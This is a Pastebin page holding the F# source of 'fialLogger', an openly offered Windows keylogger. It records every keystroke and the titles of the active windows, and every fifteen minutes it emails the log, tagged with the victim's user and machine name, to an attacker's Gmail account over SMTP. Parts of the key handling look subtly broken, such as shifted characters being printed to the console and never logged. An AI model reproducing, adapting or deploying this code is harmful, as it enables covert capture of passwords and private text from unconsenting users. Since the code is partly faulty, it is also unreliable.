Advertisement
Yarukinasu

fialLogger

Aug 8th, 2011
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
F# 15.92 KB | None | 0 0
  1. (* fialLogger by Yarukinasu *)
  2.  
  3. #light
  4.  
  5. open System
  6. open System.Net
  7. open System.Net.Mail
  8. open System.Runtime.InteropServices
  9. open System.Text
  10. open System.Threading
  11.  
  12. (* DLL imports *)
  13. [<DllImport("user32.dll")>]
  14. extern int GetAsyncKeyState(int vKey)
  15.  
  16. [<DllImport("user32.dll")>]
  17. extern int GetForegroundWindow()
  18.  
  19. [<DllImport("user32.dll")>]
  20. extern int GetKeyState(int nVirtKey)
  21.  
  22. [<DllImport("user32.dll")>]
  23. extern int GetWindowText(int hWnd, StringBuilder lpString, int nMaxCount)
  24.  
  25. (* replace these with whatever you desire *)
  26. [<Literal>]
  27. let USERNAME = "username@gmail.com"
  28.  
  29. [<Literal>]
  30. let PASSWORD = "password"
  31.  
  32. [<Literal>]
  33. let INTERVAL = 900000 (* 900000 milliseconds is 15 minutes *)
  34.  
  35. (* arrays of virtual-key codes *)
  36. let KEYS = [|
  37.   "[LBUTTON]"                         (* 0x01 *)
  38.   "[RBUTTON]"                         (* 0x02 *)
  39.   "[CANCEL]"                          (* 0x03 *)
  40.   "[MBUTTON]"                         (* 0x04 *)
  41.   "[XBUTTON1]"                        (* 0x05 *)
  42.   "[XBUTTON2]"                        (* 0x06 *)
  43.   "[0x07]"                            (* 0x07 *)
  44.   "[BACK]"                            (* 0x08 *)
  45.   "\t"                                (* 0x09 *)
  46.   "[0x0A]"                            (* 0x0A *)
  47.   "[0x0B]"                            (* 0x0B *)
  48.   "[CLEAR]"                           (* 0x0C *)
  49.   Environment.NewLine                 (* 0x0D *)
  50.   "[0x0E]"                            (* 0x0E *)
  51.   "[0x0F]"                            (* 0x0F *)
  52.   "[SHIFT]"                           (* 0x10 *)
  53.   "[CONTROL]"                         (* 0x11 *)
  54.   "[MENU]"                            (* 0x12 *)
  55.   "[PAUSE]"                           (* 0x13 *)
  56.   "[CAPITAL]"                         (* 0x14 *)
  57.   "[KANA/HANGUEL/HANGUL]"             (* 0x15 *)
  58.   "[0x16]"                            (* 0x16 *)
  59.   "[JUNJA]"                           (* 0x17 *)
  60.   "[FINAL]"                           (* 0x18 *)
  61.   "[HANJA/KANJI]"                     (* 0x19 *)
  62.   "[0x1A]"                            (* 0x1A *)
  63.   "[ESCAPE]"                          (* 0x1B *)
  64.   "[CONVERT]"                         (* 0x1C *)
  65.   "[NONCONVERT]"                      (* 0x1D *)
  66.   "[ACCEPT]"                          (* 0x1E *)
  67.   "[MODECHANGE]"                      (* 0x1F *)
  68.   " "                                 (* 0x20 *)
  69.   "[PRIOR]"                           (* 0x21 *)
  70.   "[NEXT]"                            (* 0x22 *)
  71.   "[END]"                             (* 0x23 *)
  72.   "[HOME]"                            (* 0x24 *)
  73.   "[LEFT]"                            (* 0x25 *)
  74.   "[UP]"                              (* 0x26 *)
  75.   "[RIGHT]"                           (* 0x27 *)
  76.   "[DOWN]"                            (* 0x28 *)
  77.   "[SELECT]"                          (* 0x29 *)
  78.   "[PRINT]"                           (* 0x2A *)
  79.   "[EXECUTE]"                         (* 0x2B *)
  80.   "[SNAPSHOT]"                        (* 0x2C *)
  81.   "[INSERT]"                          (* 0x2D *)
  82.   "[DELETE]"                          (* 0x2E *)
  83.   "[HELP]"                            (* 0x2F *)
  84.   "0"                                 (* 0x30 *)
  85.   "1"                                 (* 0x31 *)
  86.   "2"                                 (* 0x32 *)
  87.   "3"                                 (* 0x33 *)
  88.   "4"                                 (* 0x34 *)
  89.   "5"                                 (* 0x35 *)
  90.   "6"                                 (* 0x36 *)
  91.   "7"                                 (* 0x37 *)
  92.   "8"                                 (* 0x38 *)
  93.   "9"                                 (* 0x39 *)
  94.   "[0x3A]"                            (* 0x3A *)
  95.   "[0x3B]"                            (* 0x3B *)
  96.   "[0x3C]"                            (* 0x3C *)
  97.   "[0x3D]"                            (* 0x3D *)
  98.   "[0x3E]"                            (* 0x3E *)
  99.   "[0x3F]"                            (* 0x3F *)
  100.   "[0x40]"                            (* 0x40 *)
  101.   "a"                                 (* 0x41 *)
  102.   "b"                                 (* 0x42 *)
  103.   "c"                                 (* 0x43 *)
  104.   "d"                                 (* 0x44 *)
  105.   "e"                                 (* 0x45 *)
  106.   "f"                                 (* 0x46 *)
  107.   "g"                                 (* 0x47 *)
  108.   "h"                                 (* 0x48 *)
  109.   "i"                                 (* 0x49 *)
  110.   "j"                                 (* 0x4A *)
  111.   "k"                                 (* 0x4B *)
  112.   "l"                                 (* 0x4C *)
  113.   "m"                                 (* 0x4D *)
  114.   "n"                                 (* 0x4E *)
  115.   "o"                                 (* 0x4F *)
  116.   "p"                                 (* 0x50 *)
  117.   "q"                                 (* 0x51 *)
  118.   "r"                                 (* 0x52 *)
  119.   "s"                                 (* 0x53 *)
  120.   "t"                                 (* 0x54 *)
  121.   "u"                                 (* 0x55 *)
  122.   "v"                                 (* 0x56 *)
  123.   "w"                                 (* 0x57 *)
  124.   "x"                                 (* 0x58 *)
  125.   "y"                                 (* 0x59 *)
  126.   "z"                                 (* 0x5A *)
  127.   "[LWIN]"                            (* 0x5B *)
  128.   "[RWIN]"                            (* 0x5C *)
  129.   "[APPS]"                            (* 0x5D *)
  130.   "[0x5E]"                            (* 0x5E *)
  131.   "[SLEEP]"                           (* 0x5F *)
  132.   "[NUMPAD0]"                         (* 0x60 *)
  133.   "[NUMPAD1]"                         (* 0x61 *)
  134.   "[NUMPAD2]"                         (* 0x62 *)
  135.   "[NUMPAD3]"                         (* 0x63 *)
  136.   "[NUMPAD4]"                         (* 0x64 *)
  137.   "[NUMPAD5]"                         (* 0x65 *)
  138.   "[NUMPAD6]"                         (* 0x66 *)
  139.   "[NUMPAD7]"                         (* 0x67 *)
  140.   "[NUMPAD8]"                         (* 0x68 *)
  141.   "[NUMPAD9]"                         (* 0x69 *)
  142.   "[MULTIPLY]"                        (* 0x6A *)
  143.   "[ADD]"                             (* 0x6B *)
  144.   "[SEPARATOR]"                       (* 0x6C *)
  145.   "[SUBTRACT]"                        (* 0x6D *)
  146.   "[DECIMAL]"                         (* 0x6E *)
  147.   "[DIVIDE]"                          (* 0x6F *)
  148.   "[F1]"                              (* 0x70 *)
  149.   "[F2]"                              (* 0x71 *)
  150.   "[F3]"                              (* 0x72 *)
  151.   "[F4]"                              (* 0x73 *)
  152.   "[F5]"                              (* 0x74 *)
  153.   "[F6]"                              (* 0x75 *)
  154.   "[F7]"                              (* 0x76 *)
  155.   "[F8]"                              (* 0x77 *)
  156.   "[F9]"                              (* 0x78 *)
  157.   "[F10]"                             (* 0x79 *)
  158.   "[F11]"                             (* 0x7A *)
  159.   "[F12]"                             (* 0x7B *)
  160.   "[F13]"                             (* 0x7C *)
  161.   "[F14]"                             (* 0x7D *)
  162.   "[F15]"                             (* 0x7E *)
  163.   "[F16]"                             (* 0x7F *)
  164.   "[F17]"                             (* 0x80 *)
  165.   "[F18]"                             (* 0x81 *)
  166.   "[F19]"                             (* 0x82 *)
  167.   "[F20]"                             (* 0x83 *)
  168.   "[F21]"                             (* 0x84 *)
  169.   "[F22]"                             (* 0x85 *)
  170.   "[F23]"                             (* 0x86 *)
  171.   "[F24]"                             (* 0x87 *)
  172.   "[0x88]"                            (* 0x88 *)
  173.   "[0x89]"                            (* 0x89 *)
  174.   "[0x8A]"                            (* 0x8A *)
  175.   "[0x8B]"                            (* 0x8B *)
  176.   "[0x8C]"                            (* 0x8C *)
  177.   "[0x8D]"                            (* 0x8D *)
  178.   "[0x8E]"                            (* 0x8E *)
  179.   "[0x8F]"                            (* 0x8F *)
  180.   "[NUMLOCK]"                         (* 0x90 *)
  181.   "[SCROLL]"                          (* 0x91 *)
  182.   "[0x92]"                            (* 0x92 *)
  183.   "[0x93]"                            (* 0x93 *)
  184.   "[0x94]"                            (* 0x94 *)
  185.   "[0x95]"                            (* 0x95 *)
  186.   "[0x96]"                            (* 0x96 *)
  187.   "[0x97]"                            (* 0x97 *)
  188.   "[0x98]"                            (* 0x98 *)
  189.   "[0x99]"                            (* 0x99 *)
  190.   "[0x9A]"                            (* 0x9A *)
  191.   "[0x9B]"                            (* 0x9B *)
  192.   "[0x9C]"                            (* 0x9C *)
  193.   "[0x9D]"                            (* 0x9D *)
  194.   "[0x9E]"                            (* 0x9E *)
  195.   "[0x9F]"                            (* 0x9F *)
  196.   "[LSHIFT]"                          (* 0xA0 *)
  197.   "[RSHIFT]"                          (* 0xA1 *)
  198.   "[LCONTROL]"                        (* 0xA2 *)
  199.   "[RCONTROL]"                        (* 0xA3 *)
  200.   "[LMENU]"                           (* 0xA4 *)
  201.   "[RMENU]"                           (* 0xA5 *)
  202.   "[BROWSER_BACK]"                    (* 0xA6 *)
  203.   "[BROWSER_FORWARD]"                 (* 0xA7 *)
  204.   "[BROWSER_REFRESH]"                 (* 0xA8 *)
  205.   "[BROWSER_STOP]"                    (* 0xA9 *)
  206.   "[BROWSER_SEARCH]"                  (* 0xAA *)
  207.   "[BROWSER_FAVORITES]"               (* 0xAB *)
  208.   "[BROWSER_HOME]"                    (* 0xAC *)
  209.   "[VOLUME_MUTE]"                     (* 0xAD *)
  210.   "[VOLUME_DOWN]"                     (* 0xAE *)
  211.   "[VOLUME_UP]"                       (* 0xAF *)
  212.   "[MEDIA_NEXT_TRACK]"                (* 0xB0 *)
  213.   "[MEDIA_PREV_TRACK]"                (* 0xB1 *)
  214.   "[MEDIA_STOP]"                      (* 0xB2 *)
  215.   "[MEDIA_PLAY_PAUSE]"                (* 0xB3 *)
  216.   "[LAUNCH_MAIL]"                     (* 0xB4 *)
  217.   "[LAUNCH_MEDIA_SELECT]"             (* 0xB5 *)
  218.   "[LAUNCH_APP1]"                     (* 0xB6 *)
  219.   "[LAUNCH_APP2]"                     (* 0xB7 *)
  220.   "[0xB8]"                            (* 0xB8 *)
  221.   "[0xB9]"                            (* 0xB9 *)
  222.   ";"                                 (* 0xBA *)
  223.   "="                                 (* 0xBB *)
  224.   ","                                 (* 0xBC *)
  225.   "-"                                 (* 0xBD *)
  226.   "."                                 (* 0xBE *)
  227.   "/"                                 (* 0xBF *)
  228.   "`"                                 (* 0xC0 *)
  229.   "[0xC1]"                            (* 0xC1 *)
  230.   "[0xC2]"                            (* 0xC2 *)
  231.   "[0xC3]"                            (* 0xC3 *)
  232.   "[0xC4]"                            (* 0xC4 *)
  233.   "[0xC5]"                            (* 0xC5 *)
  234.   "[0xC6]"                            (* 0xC6 *)
  235.   "[0xC7]"                            (* 0xC7 *)
  236.   "[0xC8]"                            (* 0xC8 *)
  237.   "[0xC9]"                            (* 0xC9 *)
  238.   "[0xCA]"                            (* 0xCA *)
  239.   "[0xCB]"                            (* 0xCB *)
  240.   "[0xCC]"                            (* 0xCC *)
  241.   "[0xCD]"                            (* 0xCD *)
  242.   "[0xCE]"                            (* 0xCE *)
  243.   "[0xCF]"                            (* 0xCF *)
  244.   "[0xD0]"                            (* 0xD0 *)
  245.   "[0xD1]"                            (* 0xD1 *)
  246.   "[0xD2]"                            (* 0xD2 *)
  247.   "[0xD3]"                            (* 0xD3 *)
  248.   "[0xD4]"                            (* 0xD4 *)
  249.   "[0xD5]"                            (* 0xD5 *)
  250.   "[0xD6]"                            (* 0xD6 *)
  251.   "[0xD7]"                            (* 0xD7 *)
  252.   "[0xD8]"                            (* 0xD8 *)
  253.   "[0xD9]"                            (* 0xD9 *)
  254.   "[0xDA]"                            (* 0xDA *)
  255.   "["                                 (* 0xDB *)
  256.   "\\"                                (* 0xDC *)
  257.   "]"                                 (* 0xDD *)
  258.   "'"                                 (* 0xDE *)
  259.   "[0xDF]"                            (* 0xDF *)
  260.   "[0xE0]"                            (* 0xE0 *)
  261.   "[OEM_AX]"                          (* 0xE1 *)
  262.   "[OEM_102]"                         (* 0xE2 *)
  263.   "[0xE3]"                            (* 0xE3 *)
  264.   "[0xE4]"                            (* 0xE4 *)
  265.   "[PROCESSKEY]"                      (* 0xE5 *)
  266.   "[0xE6]"                            (* 0xE6 *)
  267.   "[PACKET]"                          (* 0xE7 *)
  268.   "[0xE8]"                            (* 0xE8 *)
  269.   "[0xE9]"                            (* 0xE9 *)
  270.   "[0xEA]"                            (* 0xEA *)
  271.   "[0xEB]"                            (* 0xEB *)
  272.   "[0xEC]"                            (* 0xEC *)
  273.   "[0xED]"                            (* 0xED *)
  274.   "[0xEE]"                            (* 0xEE *)
  275.   "[0xEF]"                            (* 0xEF *)
  276.   "[DBE_ALPHANUMERIC]"                (* 0xF0 *)
  277.   "[DBE_KATAKANA]"                    (* 0xF1 *)
  278.   "[DBE_HIRAGANA]"                    (* 0xF2 *)
  279.   "[DBE_SBCSCHAR]"                    (* 0xF3 *)
  280.   "[DBE_DBCSCHAR]"                    (* 0xF4 *)
  281.   "[DBE_ROMAN]"                       (* 0xF5 *)
  282.   "[ATTN/DBE_NOROMAN]"                (* 0xF6 *)
  283.   "[CRSEL/DBE_ENTERWORKREGISTERMODE]" (* 0xF7 *)
  284.   "[EXSEL/DBE_ENTERIMECONFIGMODE]"    (* 0xF8 *)
  285.   "[EREOF/DBE_FLUSHSTRING]"           (* 0xF9 *)
  286.   "[PLAY/DBE_CODEINPUT]"              (* 0xFA *)
  287.   "[ZOOM/DBE_NOCODEINPUT]"            (* 0xFB *)
  288.   "[NONAME]"                          (* 0xFC *)
  289.   "[PA1]"                             (* 0xFD *)
  290.   "[OEM_CLEAR]"                       (* 0xFE *)
  291.   "[0xFF]"                            (* 0xFF *)
  292. |]
  293.  
  294. let SHIFT_KEYS = [|
  295.   ")"  (* 0x30 *)
  296.   "!"  (* 0x31 *)
  297.   "@"  (* 0x32 *)
  298.   "#"  (* 0x33 *)
  299.   "$"  (* 0x34 *)
  300.   "%"  (* 0x35 *)
  301.   "^"  (* 0x36 *)
  302.   "&"  (* 0x37 *)
  303.   "*"  (* 0x38 *)
  304.   "("  (* 0x39 *)
  305.   ":"  (* 0xBA *)
  306.   "+"  (* 0xBB *)
  307.   "<"  (* 0xBC *)
  308.   "_"  (* 0xBD *)
  309.   ">"  (* 0xBE *)
  310.   "?"  (* 0xBF *)
  311.   "~"  (* 0xC0 *)
  312.   "{"  (* 0xDB *)
  313.   "|"  (* 0xDC *)
  314.   "}"  (* 0xDD *)
  315.   "\"" (* 0xDE *)
  316. |]
  317.  
  318. (* text to send *)
  319. let str = new StringBuilder()
  320.  
  321. (* text of the window's title bar *)
  322. let title = new StringBuilder()
  323.  
  324. (* the SMTP client for sending the log *)
  325. let client =
  326.   new SmtpClient(
  327.     Credentials = new NetworkCredential(USERNAME, PASSWORD),
  328.     EnableSsl   = true,
  329.     Host        = "smtp.gmail.com",
  330.     Port        = 587
  331.   )
  332.  
  333. (* send the log *)
  334. let sender =
  335.   async {
  336.     while true do
  337.       Thread.Sleep INTERVAL (* every once in a while *)
  338.  
  339.       let length = str.Length
  340.  
  341.       let message =
  342.         new MailMessage(
  343.           Body    = str.ToString(),
  344.           From    = new MailAddress(USERNAME),
  345.           Subject =
  346.             "fialLogger: " + Environment.UserName.ToString() +
  347.             "@" + Environment.MachineName.ToString()
  348.         )
  349.  
  350.       message.To.Add USERNAME
  351.  
  352.       client.Send message
  353.  
  354.       (* the length can be changed while sending the log, so only remove the part that was sent *)
  355.       str.Remove(0, length) |> ignore
  356.   }
  357.  
  358. (* logs the text of the window's title bar *)
  359. let windowlistener =
  360.   async {
  361.     while true do
  362.       let newtitle = new StringBuilder 0xFF
  363.  
  364.       GetWindowText(GetForegroundWindow(), newtitle, 0xFF) |> ignore
  365.  
  366.       if title.ToString() <> newtitle.ToString() then
  367.         str.Append(Environment.NewLine + "[-----")
  368.            .Append(title.Clear().Append(newtitle))
  369.            .Append("-----]" + Environment.NewLine) |> ignore
  370.  
  371.       Thread.Sleep 300
  372.   }
  373.  
  374. Async.Start sender
  375. Async.Start windowlistener
  376.  
  377. (* main loop *)
  378. while true do
  379.   for i in 1 .. 256 do
  380.     if GetAsyncKeyState i = -32767 then
  381.       let shiftstate = GetKeyState 0x10
  382.  
  383.       if shiftstate >= 65408 || shiftstate <= -127 then
  384.         match i with
  385.           | x when x >= 0x30 && x <= 0x39 -> printf "%s" (SHIFT_KEYS.[i - 0x30])
  386.           | x when x >= 0xBA && x <= 0xC0 -> printf "%s" (SHIFT_KEYS.[i - 0xB0])
  387.           | x when x >= 0xDB && x <= 0xDE -> printf "%s" (SHIFT_KEYS.[i - 0xCA])
  388.           | _ ->
  389.             if GetKeyState 0x14 >= 1 then
  390.               str.Append KEYS.[i - 1] |> ignore
  391.             else
  392.               str.Append(KEYS.[i - 1].ToUpper()) |> ignore
  393.       elif GetKeyState 0x14 >= 1 then
  394.         str.Append(KEYS.[i - 1].ToUpper()) |> ignore
  395.       else
  396.         str.Append KEYS.[i - 1] |> ignore
  397.  
  398.   Thread.Sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement